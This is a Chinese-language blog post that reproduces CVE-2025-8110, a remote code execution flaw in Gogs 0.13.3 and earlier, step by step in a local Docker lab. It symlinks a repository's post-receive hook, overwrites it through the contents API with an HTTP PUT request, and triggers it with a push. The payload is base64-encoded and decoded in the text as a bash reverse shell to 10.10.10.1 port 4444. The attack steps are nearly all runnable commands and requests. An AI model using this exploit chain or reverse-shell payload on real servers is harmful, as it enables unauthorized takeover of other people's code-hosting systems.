CVE-2025-8110 gogs rce 复现

CVE-2025-8110 gogs rce 复现

Gogs(Go Git Service)是一款基于 Go 语言开发的、极易搭建的自助开源 Git 代码托管平台,旨在提供最简单、快速且轻量级的私有 Git 服务。它类似于 GitHub 或 GitLab,支持 Windows、Linux、Mac 及 ARM 平台(如树莓派),非常适合个人开发者或中小团队使用。 
影响范围 <=0.13.3

这里使用dokcer进行部署

docker run -d \                               
  --name gogs_vuln \
  -p 3000:3000 \
  -p 2022:22 \
  gogs/gogs:0.13.3

完成之后会提示安装,安装过程建议选sqlite数据库(省事),直接完成就行

安装完毕之后,随意注册一个账号并创建好一个仓库

git clone 仓库
ln -s /data/git/gogs-repositories/仓库用户名/仓库名.git/hooks/post-receive rce
git add .
git commit "rce"
git push 

点击右上角个人头像处–>用户设置–>授权应用–>生成新的令牌

记得复制这个令牌,只会出现一次

现在使用下面poc

PUT /api/v1/repos/ceshi/aaaa/contents/rce HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/json
Authorization: token 66d3981ec7ee42d376fdc15f22bffcf524ca983d
Content-Length: 169

{
  "message": "rce",
  "content": "IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzQ0NDQgMD4mMQ==",
  "branch": "master"
}

/api/v1/repos/用户名/仓库名/contents/上一步做好软链的名字
把token 改为刚才复制的token
content参数的内容需要base64编码
我poc上面的是
!/bin/bash
bash -i >& /dev/tcp/10.10.10.1/4444 0>&1

返回201就代表成功了,然后继续下一步
这时随便push一个文件就行了

touch pwn
git add pwn
git commit -m "pwn"
git push

成功收到shell

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇